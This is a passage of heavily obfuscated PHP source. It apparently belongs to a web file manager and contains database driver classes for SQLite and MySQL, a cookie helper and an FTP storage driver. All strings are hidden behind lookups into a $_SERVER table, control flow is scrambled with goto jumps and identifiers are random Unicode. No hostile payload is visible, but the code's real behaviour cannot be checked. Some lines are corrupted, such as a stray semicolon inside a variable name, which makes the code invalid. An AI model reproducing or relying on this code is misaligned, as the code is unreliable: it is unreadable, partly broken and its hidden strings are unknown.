$this->getAll(); $this->numRows = count($bΎ); return $bΎ; } goto Cښ; Cښ: } public function execute($f瓷) { goto c; DŐ: think_status($E[20]); $e = $this->_linkID->exec($f瓷); $this->debug(); goto C֦; c: $E =& $_SERVER[ѽ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto fˋ͊; fˋ͊: $this->queryStr = $f瓷; if ($this->queryID) { $this->free(); } think_action_status($E[21], 1); goto DŐ; C֦: if (!1 === $e) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } goto b; b: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ѽ][22]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $bϤ = $this->_linkID->query($_SERVER[ѽ][23]); if (!$bϤ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $CН = $this->_linkID->query($_SERVER[ѽ][24]); if (!$CН) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $f㓷 = array(); while ($B = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $f㓷[] = $B; } $this->queryID->reset(); return $f㓷; } public function getFields($EӮ) { $fر =& $_SERVER[ѽ]; $d = $this->query($fر[25] . $EӮ . $fر[26]); $C = array(); if ($d) { foreach ($d as $fΘɣ => $b) { $C[$b[$fر[28]]] = array($fر[28] => $b[$fر[28]], $fر[29] => $b[$fر[29]], $fر[31] => (bool) ($b[$fر[31]] === $fر[33]), $fر[34] => $b[$fر[53]], $fر[36] => (bool) $b[$fر[54]], $fر[39] => (bool) $b[$fر[54]]); } } return $C; } public function getTables($A򈚛 = '') { $Fí՞ =& $_SERVER[ѽ]; $EՓ = $this->query($Fí՞[42] . $Fí՞[43] . $Fí՞[44]); $Ašヒ = array(); foreach ($EՓ as $cѿɟ => $fʳ) { $Ašヒ[$cѿɟ] = current($fʳ); } return $Ašヒ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $F݃ۆ =& $_SERVER[ѽ]; $this->error = $this->_linkID->lastErrorMsg(); if ($F݃ۆ[33] != $this->queryStr) { $this->error .= LNG($F݃ۆ[45]) . $this->queryStr; } think_trace($this->error, $F݃ۆ[33], $F݃ۆ[46]); return $this->error; } public function escapeString($D) { $c =& $_SERVER[ѽ]; if ($this->_linkID) { return $this->_linkID->escapeString($D); } return str_ireplace($c[55], $c[56], $D); } public function parseLimit($CǛ) { $Dς =& $_SERVER[ѽ]; $aͫ = $Dς[33]; if (!empty($CǛ)) { $CǛ = explode($Dς[47], $CǛ); if (count($CǛ) > 1) { $aͫ .= $Dς[48] . $CǛ[1] . $Dς[49] . $CǛ[0] . $Dς[50]; } else { $aͫ .= $Dς[48] . $CǛ[0] . $Dς[50]; } } return $aͫ; } } goto b; a񠹈: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($Dƛѩ = '', $eȝ = 0) { if (is_string($Dƛѩ) && $Dƛѩ != $_SERVER[ѽ][33]) { $this->prefix = $Dƛѩ; } if (is_numeric($eȝ) && $eȝ > 0) { $this->expire = $eȝ; } } public static function getInstance() { static $f; if ($f === null) { $f = new self(); } return $f; } private static $sameCookieSet = array(); public static function set($Fև, $A, $A֮ߥ = 0, $eԻ = false, $cܼѱ = false) { $fә =& $_SERVER[ѽ]; if (!$A֮ߥ) { $A֮ߥ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$Fև]) && self::$sameCookieSet[$Fև] == $A . $A֮ߥ) { return; } self::$sameCookieSet[$Fև] = $A . $A֮ߥ; if (!$cܼѱ) { $cܼѱ = str_replace(HOST, $fә[33], APP_HOST); $cܼѱ = _get($GLOBALS, $fә[802], $cܼѱ); } setcookie($Fև, $A, time() + $A֮ߥ, $fә[8] . trim($cܼѱ, $fә[8]), !1, !1, $eԻ); } public static function setSafe($D, $d, $c並 = 0) { self::set($D, $d, $c並, !0); } public static function get($Fٝ) { return isset($_COOKIE[$Fٝ]) ? $_COOKIE[$Fٝ] : !1; } public static function remove($b, $Bܦ = false) { unset($_COOKIE[$b]); self::set($b, $_SERVER[ѽ][33], 1, $Bܦ); } } class DbMysql extends Db { public function __construct($e¥ = '') { $cꚮ =& $_SERVER[ѽ]; if (!extension_loaded($cꚮ[738])) { think_exception(think_lang($cꚮ[10]) . $cꚮ[803]); } if (!empty($e¥)) { $this->config = $e¥; if (empty($this->config[$cꚮ[13]])) { $this->config[$cꚮ[13]] = $cꚮ[33]; } } } public function connect($b = '', $e햠 = 0, $B഑ = false) { $E͡ =& $_SERVER[ѽ]; if (!isset($this->linkID[$e햠])) { goto f۬舄; aο: if (1 != think_config($E͡[18])) { unset($this->config); } goto f; f۬舄: if (empty($b)) { $b = $this->config; } $E졣 = $b[$E͡[804]] . ($b[$E͡[805]] ? "\72{$b[$E͡[805]]}" : $E͡[33]); $E = !empty($b[$E͡[13]][$E͡[14]]) ? $b[$E͡[13]][$E͡[14]] : $this->pconnect; goto Fܽ·; D˂: mysql_query($E͡[808] . think_config($E͡[809]) . $E͡[55], $this->linkID[$e햠]); if ($c > $E͡[810]) { mysql_query($E͡[811], $this->linkID[$e햠]); } $this->connected = !0; goto aο; Fܽ·: if ($E) { $this->linkID[$e햠] = mysql_pconnect($E졣, $b[$E͡[806]], $b[$E͡[807]], 131072); } else { $this->linkID[$e햠] = mysql_connect($E졣, $b[$E͡[806]], $b[$E͡[807]], !0, 131072); } if (!$this->linkID[$e햠] || !empty($b[$E͡[17]]) && !mysql_select_db($b[$E͡[17]], $this->linkID[$e햠])) { think_exception(mysql_error()); } $c = mysql_get_server_info($this->linkID[$e햠]); goto D˂; f: } return $this->linkID[$e햠]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($C˺) { goto fыͪ쫡; E鰗: if (!$this->_linkID) { return !1; } $this->queryStr = $C˺; if ($this->queryID) { $this->free(); } goto b; b: think_action_status($E֓[19], 1); think_status($E֓[20]); $this->queryID = mysql_query($C˺, $this->_linkID); goto BŊ; fыͪ쫡: $E֓ =& $_SERVER[ѽ]; if (0 === stripos($C˺, $E֓[249])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); goto E鰗; BŊ: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } goto D; D: } public function execute($bڻ) { goto bޠ; bޠ: $D񑰨訮 =& $_SERVER[ѽ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto Bžծ; D: think_status($D񑰨訮[20]); $Bܘ = mysql_query($bڻ, $this->_linkID); $this->debug(); goto CĎ; Bžծ: $this->queryStr = $bڻ; if ($this->queryID) { $this->free(); } think_action_status($D񑰨訮[21], 1); goto D; CĎ: if (!1 === $Bܘ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } goto dӹ; dӹ: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ѽ][812], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $B۠ = mysql_query($_SERVER[ѽ][813], $this->_linkID); $this->transTimes = 0; if (!$B۠) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $dڅ = mysql_query($_SERVER[ѽ][814], $this->_linkID); $this->transTimes = 0; if (!$dڅ) { $this->error(); return !1; } } return !0; } private function getAll() { $eҞ = array(); if ($this->numRows > 0) { while ($dʗͦ = mysql_fetch_assoc($this->queryID)) { $eҞ[] = $dʗͦ; } mysql_data_seek($this->queryID, 0); } return $eҞ; } public function getFields($e龇) { $b̙կ =& $_SERVER[ѽ]; $F = $this->query($b̙կ[815] . $this->parseKey($e龇)); $d = array(); if ($F) { foreach ($F as $E鏍 => $b݊) { $d[$b݊[$b̙կ[27]]] = array($b̙կ[28] => $b݊[$b̙կ[27]], $b̙կ[29] => $b݊[$b̙կ[30]], $b̙կ[31] => (bool) (strtoupper($b݊[$b̙կ[32]]) === $b̙կ[816]), $b̙կ[34] => $b݊[$b̙կ[35]], $b̙կ[36] => strtolower($b݊[$b̙կ[37]]) == $b̙կ[38], $b̙կ[39] => strtolower($b݊[$b̙կ[40]]) == $b̙կ[41]); } } return $d; } public function getTables($F = '') { $f =& $_SERVER[ѽ]; if (!empty($F)) { $D = $f[817] . $F; } else { $D = $f[818]; } $A = $this->query($D); $eŘ = array(); foreach ($A as $F => $b) { $eŘ[$F] = current($b); } return $eŘ; } public function replace($f, $Dɜ = array()) { $c҇酛э =& $_SERVER[ѽ]; foreach ($f as $d踧 => $bЗɩ) { $e҄ = $this->parseValue($bЗɩ); if (is_scalar($e҄)) { $eӫ呥[] = $e҄; $d[] = $this->parseKey($d踧); } } $Dդ𑝾 = $c҇酛э[819] . $this->parseTable($Dɜ[$c҇酛э[264]]) . $c҇酛э[820] . implode($c҇酛э[47], $d) . $c҇酛э[821] . implode($c҇酛э[47], $eӫ呥) . $c҇酛э[822]; return $this->execute($Dդ𑝾); } public function insertAll($cĤ, $d = array(), $cŠ = false) { goto e; d: $BӔ = ($cŠ ? $C[824] : $C[825]) . $C[826] . $this->parseTable($d[$C[264]]) . $C[820] . implode($C[47], $f뒝) . $C[827] . implode($C[47], $fڪ); return $this->execute($BӔ); goto e㈤; e: $C =& $_SERVER[ѽ]; if (!is_array($cĤ[0])) { return !1; } $f뒝 = array_keys($cĤ[0]); goto Dړ; Dړ: $fڪ = array(); foreach ($cĤ as $dù) { $bî٣ = array(); foreach ($dù as $bʴմ => $F叙) { $F叙 = $this->parseValue($F叙); if (is_scalar($F叙)) { $bî٣[] = $F叙; } } $fڪ[] = $C[245] . implode($C[47], $bî٣) . $C[822]; } array_walk($f뒝, array($this, $C[823])); goto d; e㈤: } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $Bڏ =& $_SERVER[ѽ]; $this->error = mysql_errno() . $Bڏ[4] . mysql_error($this->_linkID); if ($Bڏ[33] != $this->queryStr) { $this->error .= LNG($Bڏ[45]) . $this->queryStr; } think_trace($this->error, $Bڏ[33], $Bڏ[46]); return $this->error; } public function escapeString($a癸) { if ($this->_linkID) { return mysql_real_escape_string($a癸, $this->_linkID); } else { return mysql_escape_string($a癸); } } public function parseKey(&$D, $f󃰋 = true) { $Dȳɲ =& $_SERVER[ѽ]; if ($f󃰋) { $D = $this->parseKeyCheck($D); } if ($D != $Dȳɲ[173] && !preg_match($Dȳɲ[828], $D)) { $D = $Dȳɲ[829] . trim($D, $Dȳɲ[829]) . $Dȳɲ[829]; } return $D; } } class DbMysqli extends Db { public function __construct($EȔ = '') { $a݆ =& $_SERVER[ѽ]; if (!extension_loaded($a݆[737])) { think_exception(think_lang($a݆[10]) . $a݆[830]); } if (!empty($EȔ)) { $this->config = $EȔ; if (empty($this->config[$a݆[13]])) { $this->config[$a݆[13]] = $a݆[33]; } } } public function connect($fػз = '', $Bϴ = 0) { $Cݥ =& $_SERVER[ѽ]; if (!isset($this->linkID[$Bϴ])) { goto aێύ; aێύ: if (empty($fػз)) { $fػз = $this->config; } $this->linkID[$Bϴ] = new mysqli($fػз[$Cݥ[804]], $fػз[$Cݥ[806]], $fػз[$Cݥ[807]], $fػз[$Cݥ[17]], $fػз[$Cݥ[805]] ? intval($fػз[$Cݥ[805]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } goto fԊ; fԊ: $BϛŽ = $this->linkID[$Bϴ]->server_version; $this->linkID[$Bϴ]->query($Cݥ[808] . think_config($Cݥ[809]) . $Cݥ[55]); if ($BϛŽ > $Cݥ[810]) { $this->linkID[$Bϴ]->query($Cݥ[811]); } goto Eڹ; Eڹ: $this->connected = !0; if (1 != think_config($Cݥ[18])) { unset($this->config); } goto dȝ; dȝ: } return $this->linkID[$Bϴ]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($Fѥ) { goto E; dԪޞ: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } goto DϿ; E: $Eū =& $_SERVER[ѽ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto dǦ; bѢا: think_status($Eū[20]); $this->queryID = $this->_linkID->query($Fѥ); if ($this->_linkID->more_results()) { while (($D㋾Ӟ = $this->_linkID->next_result()) != NULL) { $D㋾Ӟ->free_result(); } } goto dԪޞ; dǦ: $this->queryStr = $Fѥ; if ($this->queryID) { $this->free(); } think_action_status($Eū[19], 1); goto bѢا; DϿ: } public function execute($edžǐ) { goto aϧ܆; C: think_status($c҆[20]); $Fߋ܉ = $this->_linkID->query($edžǐ); $this->debug(); goto DōŌ; aϧ܆: $c҆ =& $_SERVER[ѽ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto dݢ; DōŌ: if (!1 === $Fߋ܉) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } goto a; dݢ: $this->queryStr = $edžǐ; if ($this->queryID) { $this->free(); } think_action_status($c҆[21], 1); goto C; a: } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $fޡ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$fޡ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Aͨ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$Aͨ) { $this->error(); return !1; } } return !0; } private function getAll() { $C = array(); if ($this->numRows > 0) { for ($Dʰ܉ = 0; $Dʰ܉ < $this->numRows; $Dʰ܉++) { $C[$Dʰ܉] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $C; } public function getFields($Bث닦) { $b =& $_SERVER[ѽ]; $f = $this->query($b[815] . $this->parseKey($Bث닦)); $c鞑 = array(); if ($f) { foreach ($f as $Fˍ => $C) { $c鞑[$C[$b[27]]] = array($b[28] => $C[$b[27]], $b[29] => $C[$b[30]], $b[31] => (bool) ($C[$b[32]] === $b[33]), $b[34] => $C[$b[35]], $b[36] => strtolower($C[$b[37]]) == $b[38], $b[39] => strtolower($C[$b[40]]) == $b[41]); } } return $c鞑; } public function getTables($D = '') { $C =& $_SERVER[ѽ]; $dʅ = !empty($D) ? $C[817] . $D : $C[818]; $A͏ = $this->query($dʅ); $f = array(); if ($A͏) { foreach ($A͏ as $fόױ => $b­DZ) { $f[$fόױ] = current($b­DZ); } } return $f; } public function replace($Cŧ֚, $fӑ = array()) { $Aڕ =& $_SERVER[ѽ]; foreach ($Cŧ֚ as $B夊 => $Eަ¶) { $Aֱ = $this->parseValue($Eަ¶); if (is_scalar($Aֱ)) { $dډ;[] = $Aֱ; $a[] = $this->parseKey($B夊); } } $dѦ = $Aڕ[819] . $this->parseTable($fӑ[$Aڕ[264]]) . $Aڕ[820] . implode($Aڕ[47], $a) . $Aڕ[821] . implode($Aڕ[47], $dډ;) . $Aڕ[822]; return $this->execute($dѦ); } public function insertAll($F, $fۃ = array(), $AبƧ = false) { goto eп; D«: $A񋫑 = ($AبƧ ? $C֜[824] : $C֜[825]) . $C֜[826] . $this->parseTable($fۃ[$C֜[264]]) . $C֜[820] . implode($C֜[47], $E׽) . $C֜[827] . implode($C֜[47], $dޞ); return $this->execute($A񋫑); goto Cի; Fㅦ: $dޞ = array(); foreach ($F as $bϓ) { $e = array(); foreach ($bϓ as $bА => $cۂ) { $cۂ = $this->parseValue($cۂ); if (is_scalar($cۂ)) { $e[] = $cۂ; } } $dޞ[] = $C֜[245] . implode($C֜[47], $e) . $C֜[822]; } array_walk($E׽, array($this, $C֜[823])); goto D«; eп: $C֜ =& $_SERVER[ѽ]; if (!is_array($F[0])) { return !1; } $E׽ = array_keys($F[0]); goto Fㅦ; Cի: } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $Eޅߞ =& $_SERVER[ѽ]; $this->error = $this->_linkID->errno . $Eޅߞ[4] . $this->_linkID->error; if ($Eޅߞ[33] != $this->queryStr) { $this->error .= LNG($Eޅߞ[45]) . $this->queryStr; } think_trace($this->error, $Eޅߞ[33], $Eޅߞ[46]); return $this->error; } public function escapeString($f) { if ($this->_linkID) { return $this->_linkID->real_escape_string($f); } else { return addslashes($f); } } public function parseKey(&$D, $FԲ = true) { $bĘĐ =& $_SERVER[ѽ]; if ($FԲ) { $D = $this->parseKeyCheck($D); } if ($D != $bĘĐ[173] && !preg_match($bĘĐ[828], $D)) { $D = $bĘĐ[829] . trim($D, $bĘĐ[829]) . $bĘĐ[829]; } return $D; } } goto A; e: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = FALSE; public function __construct($c׉) { parent::__construct(); if (count($c׉) > 0) { $this->_init($c׉); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($DƋ) { $D҇Ҋ =& $_SERVER[ѽ]; global $config; $this->appCharset = $config[$D҇Ҋ[1148]]; $this->systemCharset = $config[$D҇Ҋ[1149]]; if (isset($DƋ[$D҇Ҋ[1150]]) && $DƋ[$D҇Ҋ[1150]]) { $this->systemCharset = $DƋ[$D҇Ҋ[1150]]; } } public function iconvApp($e׸Ӿ) { return $this->iconvTo($e׸Ӿ, $this->systemCharset, $this->appCharset); } public function iconvSystem($E؉) { return $this->iconvTo($E؉, $this->appCharset, $this->systemCharset); } public function getPathOuter($aй) { goto fڱ; fڱ: $c߯ =& $_SERVER[ѽ]; $c绋 = $this->iconvApp($this->pathBase); $aй = $this->iconvApp($aй); goto F慹Ȑ; eɂ: $aй = KodIO::clear($aй); $aй = substr($aй, strlen($c绋)); if (empty($this->pathDriver)) { return $aй; } goto A; A: return $this->pathDriver . $c߯[8] . ltrim($aй, $c߯[8]); goto B싎; F慹Ȑ: if (substr($c绋, 0, 2) == $c߯[1151]) { $c绋 = BASIC_PATH . substr($c绋, 2); } if (substr($aй, 0, 2) == $c߯[1151]) { $aй = BASIC_PATH . substr($aй, 2); } $c绋 = KodIO::clear($c绋); goto eɂ; B싎: } private function _init($dΎ΄ = array()) { goto eڐ䭹; cʼ: @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); @ftp_pasv($this->connect, !0); $Bوٙ[$E㍓] = array($bƌ[1157] => $this->connect, $bƌ[166] => $this->host, $bƌ[165] => $this->scheme, $bƌ[167] => $this->port); goto C; Bӽ: foreach ($dΎ΄ as $aꯚǫ => $fܮ) { if (isset($this->{$aꯚǫ})) { $this->{$aꯚǫ} = $fܮ; } } static $Bوٙ = array(); $E㍓ = md5(json_encode($dΎ΄)); goto c̈́; B卻ۂ: $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return; } $B = @ftp_login($this->connect, $this->username, $this->userpass); goto cʼ; c̈́: if (isset($Bوٙ[$E㍓])) { foreach ($Bوٙ[$E㍓] as $aꯚǫ => $fܮ) { $this->{$aꯚǫ} = $fܮ; } return !0; } $A䎑 = parse_url(trim($this->server, $bƌ[8])); $this->host = $A䎑[$bƌ[166]]; goto A; A: $b = isset($A䎑[$bƌ[165]]) && $A䎑[$bƌ[165]] == $bƌ[1154] ? !0 : !1; $this->scheme = $b ? $bƌ[1155] : $bƌ[1156]; $this->port = isset($A䎑[$bƌ[167]]) ? $A䎑[$bƌ[167]] : 21; goto B卻ۂ; C: return $B; goto c; eڐ䭹: $bƌ =& $_SERVER[ѽ]; if (!function_exists($bƌ[1152])) { show_json(LNG($bƌ[1153]), !1); } $this->charsetReset($dΎ΄); goto Bӽ; c: } private function _isconn() { return is_resource($this->connect); } public function mkfile($aܩ, $F۰ = '', $Fū = REPEAT_RENAME) { if ($this->setContent($aܩ, $F۰)) { return $this->getPathOuter($aܩ); } return !1; } public function mkdir($Cჺ, $Cū = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $Cჺ = $this->iconvSystem($Cჺ); if ($this->isFolder($Cჺ) || @ftp_mkdir($this->connect, $Cჺ)) { return $this->getPathOuter($Cჺ); } if (!$this->mkdir($this->pathFather($Cჺ))) { return !1; } if ($Cჺ = @ftp_mkdir($this->connect, $Cჺ)) { return $this->getPathOuter($Cჺ); } return !1; } public function copyFile($d, $Cь) { goto Aڴ; DǤ: $Bߚ = $this->iconvApp($E); $this->download($d, $Bߚ); $dӷ = $this->upload($Cь, $Bߚ); goto F񚻎; Aڴ: if (!$this->_isconn()) { return !1; } $aт = $this->pathThis($this->iconvSystem($d)); $E = $this->tempFile($aт); goto DǤ; F񚻎: $this->tempFileRemve($E); return $dӷ; goto f; f: } public function moveFile($eɆ, $e) { if (!$this->_isconn()) { return !1; } $eɆ = $this->iconvSystem($eɆ); $e = $this->iconvSystem($e); $dņ = @ftp_rename($this->connect, $eɆ, $e); return $dņ ? $this->getPathOuter($e) : !1; } public function delFile($c) { if (!$this->_isconn()) { return !1; } $c = $this->iconvSystem($c); return @ftp_delete($this->connect, $c); } public function delFolder($fϐ) { if (!$this->_isconn()) { return !1; } $fϐ = $this->iconvSystem($fϐ); $B釛 = $this->ftpList($fϐ); if (!$B釛) { return @ftp_rmdir($this->connect, $fϐ); } foreach ($B釛 as $D؞) { if ($this->isFolder($D؞)) { $D؞ = $this->iconvApp($D؞); $this->delFolder($D؞); } else { @ftp_delete($this->connect, $D؞); } } return @ftp_rmdir($this->connect, $fϐ); } public function rename($D鶄, $e) { goto A; A: $e̍ =& $_SERVER[ѽ]; if (!$this->_isconn()) { return !1; } $cѠ = $this->fileNameAuto($this->pathFather($D鶄), $e); goto A꽅; E: $b՘ߤ = rtrim($e, $e̍[8]) . $e̍[8] . $cѠ; $fَ = @ftp_rename($this->connect, $D鶄, $b՘ߤ); $b՘ߤ = $this->iconvApp($b՘ߤ); goto d; A꽅: $cѠ = $this->iconvSystem($cѠ); $D鶄 = $this->iconvSystem($D鶄); $e = $this->pathFather($D鶄); goto E; d: return $fَ ? $this->getPathOuter($b՘ߤ) : !1; goto c˝ϻ; c˝ϻ: } private function folderInfo($cɂ˭, $A߅ = false) { goto c򙎄; aݥ: return $bۈ; goto D; d: $BƗ = $this->iconvSystem($cɂ˭); if ($A߅) { return array($aԄǐ[28] => $aӪؘ, $aԄǐ[75] => $d, $aԄǐ[29] => $aԄǐ[76]); } $bۈ = array($aԄǐ[28] => $aӪؘ, $aԄǐ[75] => $d, $aԄǐ[29] => $aԄǐ[76], $aԄǐ[184] => 0, $aԄǐ[107] => 0, $aԄǐ[1158] => !0, $aԄǐ[1159] => !0); goto aݥ; c򙎄: $aԄǐ =& $_SERVER[ѽ]; $d = $this->getPathOuter(rtrim($cɂ˭, $aԄǐ[8])); $aӪؘ = $this->pathThis($d); goto d; D: } private function fileInfo($fʼn, $Cʠ = false) { goto E֊; cڇ: $D͖ = $this->iconvSystem($fʼn); if ($Cʠ) { return array($C¾揷[28] => $EѢ, $C¾揷[75] => $A闦, $C¾揷[29] => $C¾揷[164], $C¾揷[157] => $this->ext($fʼn), $C¾揷[77] => $this->size($fʼn)); } $c = array($C¾揷[28] => $EѢ, $C¾揷[75] => $A闦, $C¾揷[29] => $C¾揷[164], $C¾揷[184] => 0, $C¾揷[107] => @ftp_mdtm($this->connect, $D͖), $C¾揷[157] => $this->ext($fʼn), $C¾揷[77] => $this->size($fʼn), $C¾揷[1158] => !0, $C¾揷[1159] => !0); goto a櫣; E֊: $C¾揷 =& $_SERVER[ѽ]; $A闦 = $this->getPathOuter(rtrim($fʼn, $C¾揷[8])); $EѢ = $this->pathThis($A闦); goto cڇ; a櫣: $c[$C¾揷[107]] = $c[$C¾揷[107]] > 0 ? $c[$C¾揷[107]] : 0; return $c; goto F郊; F郊: } public function size($A) { $D = $this->objectMeta($A); return $D ? $D[$_SERVER[ѽ][77]] : 0; } public function info($C) { if ($this->isFile($C)) { return $this->fileInfo($C, 0); } else { if ($this->isFolder($C)) { return $this->folderInfo($C); } } return !1; } public function exist($Aօ) { return $this->objectMeta($Aօ) ? !0 : !1; } public function isFile($eƉ) { $f =& $_SERVER[ѽ]; $EԴ = $this->objectMeta($eƉ); return $EԴ ? $EԴ[$f[29]] == $f[164] : !1; } public function isFolder($d¨) { $c֎ =& $_SERVER[ѽ]; $f = $this->objectMeta($d¨); return $f ? $f[$c֎[29]] == $c֎[76] : !1; } public function listPath($bДχݹ, $Bʗ瘼 = false) { goto c؏; Cن݉: foreach ($Cڍ as $bДχݹ) { if ($this->isFolder($bДχݹ)) { $B[$E۠⩷[74]][] = $this->folderInfo($bДχݹ, $Bʗ瘼); } else { $B[$E۠⩷[73]][] = $this->fileInfo($bДχݹ, $Bʗ瘼); } } return $B; goto E; c؏: $E۠⩷ =& $_SERVER[ѽ]; if (!$this->_isconn()) { return !1; } $bДχݹ = $this->iconvSystem($bДχݹ); goto Fދ; Fދ: $Cڍ = $this->ftpList($bДχݹ); $B = array($E۠⩷[74] => array(), $E۠⩷[73] => array()); if (!$Cڍ) { return $B; } goto Cن݉; E: } public function has($cψ, $BɈ = false, $BƞΡ = true) { goto aí; d: foreach ($aҌ as $cψ) { if ($BƞΡ) { if (!$this->isFolder($cψ)) { return !0; } } else { if ($this->isFolder($cψ)) { return !0; } } } return !1; goto c; aí: $C =& $_SERVER[ѽ]; if (!$this->_isconn()) { return !1; } $cψ = $this->iconvSystem($cψ); goto fև; fև: $aҌ = $this->ftpList($cψ); if (!$aҌ) { return !1; } if ($BɈ) { return array($C[188] => 0, $C[189] => count($aҌ)); } goto d; c: } public function listAll($c) { goto dij; dij: $Fܴ =& $_SERVER[ѽ]; if (!$this->_isconn()) { return !1; } $c = $this->iconvSystem($c); goto E㛂; E㛂: $D硯 = array($Fܴ[73] => array(), $Fܴ[74] => array()); $this->recursionFtpFiles($c, $D硯); $aηႰ = array(); goto A̠; A̠: foreach ($D硯[$Fܴ[74]] as $Fƴų) { $aηႰ[] = array($Fܴ[75] => $Fܴ[8] . trim(str_replace($c, $Fܴ[33], $Fƴų), $Fܴ[8]) . $Fܴ[8], $Fܴ[76] => 1, $Fܴ[77] => 0); } foreach ($D硯[$Fܴ[73]] as $C؃) { $aηႰ[] = array($Fܴ[75] => $Fܴ[8] . trim(str_replace($c, $Fܴ[33], $C؃), $Fܴ[8]), $Fܴ[76] => 0, $Fܴ[77] => $this->size($C؃)); } return $aηႰ; goto A; A: } public function getContent($dڎ) { if (!$this->_isconn()) { return !1; } $dڎ = $this->iconvSystem($dڎ); return $this->fileSubstr($dڎ); } public function setContent($D, $D⍂Ə = '') { goto eʜ؃; eʜ؃: if (!$this->_isconn()) { return !1; } $F首 = $this->pathThis($this->iconvSystem($D)); $e— = $this->tempFile($F首); goto C퓔; C퓔: file_put_contents($e—, $D⍂Ə); $dۂ˄ = $this->upload($D, $this->iconvApp($e—)); $this->tempFileRemve($e—); goto AÎ; AÎ: return $dۂ˄; goto d; d: } public function fileSubstr($fⵝ, $Dĝ = 0, $E = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($fⵝ, $Dĝ, $E); } private function ftpRequest($E呍, $D = 0, $Dӱ = false) { goto A; A: $E呍 = $this->iconvSystem($E呍); $B놑 = $this->scheme . $this->host . $_SERVER[ѽ][4] . $this->port; $A = curl_init(); goto Eԃ; C𲺴: return $cŇݶ; goto c؟斉; Eԃ: curl_setopt($A, CURLOPT_URL, $B놑 . $this->pathEncode($E呍)); curl_setopt($A, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($Dӱ) { $Ě = $D + $Dӱ - 1; curl_setopt($A, CURLOPT_RANGE, "{$D}\x2d{$Ě}"); } goto B; B: curl_setopt($A, CURLOPT_RETURNTRANSFER, 1); $cŇݶ = curl_exec($A); curl_close($A); goto C𲺴; c؟斉: } public function upload($f, $bɟ㔋, $c = false, $fҼ = REPEAT_REPLACE) { goto d܎ֲ; d܎ֲ: if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($f))) { return !1; } $f = $this->iconvSystem($f); goto aܐ; aܐ: $bɟ㔋 = $this->iconvSystem($bɟ㔋); $fNJ = ftp_nb_put($this->connect, $f, $bɟ㔋, FTP_BINARY); while ($fNJ == FTP_MOREDATA) { $fNJ = ftp_nb_continue($this->connect); } goto d; d: if ($fNJ != FTP_FINISHED) { return !1; } return $this->getPathOuter($f); goto a; a: } public function download($F, $e򄇱 = '') { goto f; f: if (!$this->_isconn()) { return !1; } $dڤ = $this->pathFather($e򄇱); if (!IO::mkdir($dڤ)) { return !1; } goto bŽ; bŽ: $F = $this->iconvSystem($F); $e򄇱 = $this->iconvSystem($e򄇱); $C = ftp_nb_get($this->connect, $e򄇱, $F, FTP_BINARY); goto e; e: while ($C == FTP_MOREDATA) { $C = ftp_nb_continue($this->connect); } if ($C != FTP_FINISHED) { return !1; } return $this->iconvApp($e򄇱); goto cƢ铖; cƢ铖: } private function ftpList($a) { goto A; C͚: $a = rtrim($a, $A[8]) . $A[8]; $aƋ = @ftp_nlist($this->connect, $a); if ($aƋ === !1) { $aƋ = @ftp_rawlist($this->connect, $a); foreach ($aƋ as $b׻ => $Fᬐ񷏆) { $aƋ[$b׻] = end(explode($A[1160], $Fᬐ񷏆)); } } goto aۼ; A: $A =& $_SERVER[ѽ]; if (!$this->isFolder($a)) { return !1; } @ftp_chdir($this->connect, $A[8]); goto C͚; aۼ: $Bʞ = array(); foreach ($aƋ as $B؈ۑ) { 